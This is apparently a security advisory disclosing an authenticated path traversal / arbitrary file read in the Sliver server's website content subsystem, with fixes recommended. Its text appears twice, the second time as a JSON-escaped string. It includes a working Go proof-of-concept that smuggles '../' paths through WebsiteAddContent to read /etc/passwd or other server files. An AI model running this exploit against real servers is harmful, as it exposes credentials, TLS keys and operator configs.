Summary
Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)
Details
Summary
A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated Path Traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.
Affected Component
- Website content management (gRPC):
WebsiteAddContent,Website,Websites - Server-side file read in
Website.ToProtobuf
Impact
- Arbitrary file read as the Sliver server OS user.
- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.
Root Cause
The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.
Vulnerable Code References
server/rpc/rpc-website.go:100— acceptscontent.Pathfrom operator RPC and persists it viawebsite.AddContentserver/db/models/website.go:52— reads from disk withfilepath.Join(webContentDir, webcontent.Path)without validating or constrainingwebcontent.Path
Proof of Concept (PoC)
Steps (local test)
- Build the server:
bash go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server - Create an operator config (permission
allfor website operations):bash ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp - Start the daemon:
bash ./sliver-server daemon -l 127.0.0.1 -p 31337 - Run the PoC:
bash GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts

Expected Output (example)

...
Evidence (Screenshots)
Why It Works
WebsiteAddContentaccepts a path like../../../../etc/hostsand stores it.Websitereturns content by callingWebsite.ToProtobuf, which reads from disk using the storedPathvalue.filepath.Joindoes not prevent traversal, so the server reads from outside the web directory.
Recommended Fix
- Validate and reject paths that are absolute or contain
..inWebsiteAddContent(server side). - Canonicalize paths and enforce they remain within the web content directory.
- Avoid reading content by
PathinWebsite.ToProtobuf; read by content ID instead.
Notes
- This issue requires an authenticated operator account with sufficient permissions (
PermissionAll). - The PoC demonstrates reading
/etc/hostsbut can target any readable server file.

"details": "## Summary\nA Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys.\n\n## Affected Component\n- Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites`\n- Server-side file read in `Website.ToProtobuf`\n\n## Impact\n- **Arbitrary file read** as the Sliver server OS user.\n- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.\n\n## Root Cause\nThe server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.\n\n## Vulnerable Code References\n- `server/rpc/rpc-website.go:100` \u2014 accepts `content.Path` from operator RPC and persists it via `website.AddContent`\n- `server/db/models/website.go:52` \u2014 reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path`\n\n## Proof of Concept (PoC)\n\n### Steps (local test)\n1. Build the server:\n ```bash\n go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server\n ```\n2. Create an operator config (permission `all` for website operations):\n ```bash\n ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp\n ```\n3. Start the daemon:\n ```bash\n ./sliver-server daemon -l 127.0.0.1 -p 31337\n ```\n4. Run the PoC:\n ```bash\n GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts\n ```\n\n\n### PoC Code\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/bishopfox/sliver/client/assets\"\n\t\"github.com/bishopfox/sliver/client/transport\"\n\t\"github.com/bishopfox/sliver/protobuf/clientpb\"\n)\n\nfunc main() {\n\tvar (\n\t\tconfigPath string\n\t\twebsiteName string\n\t\ttargetPath string\n\t\twebPath string\n\t\tmaxBytes int\n\t)\n\tflag.StringVar(\u0026configPath, \"config\", \"\", \"path to sliver client config (.cfg)\")\n\tflag.StringVar(\u0026websiteName, \"website\", \"poc-site\", \"website name to use/create\")\n\tflag.StringVar(\u0026targetPath, \"target\", \"\", \"absolute server file path to read\")\n\tflag.StringVar(\u0026webPath, \"web-path\", \"\", \"override web path (defaults to traversal into target)\")\n\tflag.IntVar(\u0026maxBytes, \"max-bytes\", 1024, \"max bytes of leaked content to print\")\n\tflag.Parse()\n\n\tif targetPath == \"\" {\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\ttargetPath = `C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts`\n\t\t} else {\n\t\t\ttargetPath = \"/etc/passwd\"\n\t\t}\n\t}\n\n\tif webPath == \"\" {\n\t\ttrimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))\n\t\twebPath = \"../../../../../../../../\" + trimmed\n\t}\n\n\tconfig, err := loadConfig(configPath)\n\tif err != nil {\n\t\tfatalf(\"config error: %v\", err)\n\t}\n\n\trpc, conn, err := transport.MTLSConnect(config)\n\tif err != nil {\n\t\tfatalf(\"connect error: %v\", err)\n\t}\n\tdefer conn.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\tdefer cancel()\n\n\t_, err = rpc.WebsiteAddContent(ctx, \u0026clientpb.WebsiteAddContent{\n\t\tName: websiteName,\n\t\tContents: map[string]*clientpb.WebContent{\n\t\t\twebPath: {\n\t\t\t\tPath: webPath,\n\t\t\t\tContentType: \"text/plain\",\n\t\t\t\tContent: []byte(\"poc\"),\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\tfatalf(\"WebsiteAddContent failed: %v\", err)\n\t}\n\n\tresp, err := rpc.Website(ctx, \u0026clientpb.Website{Name: websiteName})\n\tif err != nil {\n\t\tfatalf(\"Website failed: %v\", err)\n\t}\n\n\tvar leaked *clientpb.WebContent\n\tfor _, c := range resp.Contents {\n\t\tif c.Path == webPath {\n\t\t\tleaked = c\n\t\t\tbreak\n\t\t}\n\t}\n\tif leaked == nil {\n\t\tfatalf(\"did not find content for path %q\", webPath)\n\t}\n\n\tdata := leaked.Content\n\tif len(data) \u003e maxBytes {\n\t\tdata = data[:maxBytes]\n\t}\n\n\tfmt.Printf(\"[+] target: %s\\n\", targetPath)\n\tfmt.Printf(\"[+] web-path: %s\\n\", webPath)\n\tfmt.Printf(\"[+] leaked bytes: %d\\n\", len(leaked.Content))\n\tfmt.Printf(\"[+] preview:\\n%s\\n\", string(data))\n}\n\nfunc loadConfig(path string) (*assets.ClientConfig, error) {\n\tif path != \"\" {\n\t\treturn assets.ReadConfig(path)\n\t}\n\tconfigs := assets.GetConfigs()\n\tif len(configs) == 0 {\n\t\treturn nil, fmt.Errorf(\"no configs found; use -config\")\n\t}\n\tif len(configs) \u003e 1 {\n\t\treturn nil, fmt.Errorf(\"multiple configs found; use -config\")\n\t}\n\tfor _, c := range configs {\n\t\treturn c, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected config error\")\n}\n\nfunc fatalf(format string, args ...any) {\n\tfmt.Fprintf(os.Stderr, format+\"\\n\", args...)\n\tos.Exit(1)\n}\n```\n\n### Expected Output (example)\n```\n[+] target: /etc/hosts\n[+] web-path: ../../../../../../../../etc/hosts\n[+] leaked bytes: 409\n[+] preview:\n127.0.0.1\tlocalhost\n...\n```\n\n## Evidence (Screenshots)\n\u003cimg width=\"930\" height=\"649\" alt=\"path-traversal-poc\" src=\"https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe\" /\u003e\n\n## Why It Works\n- `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it.\n- `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value.\n- `filepath.Join` does not prevent traversal, so the server reads from outside the web directory.\n\n## Recommended Fix\n- Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side).\n- Canonicalize paths and enforce they remain within the web content directory.\n- Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead.\n\n## Notes\n- This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`).\n- The PoC demonstrates reading `/etc/hosts` but can target any readable server file.",
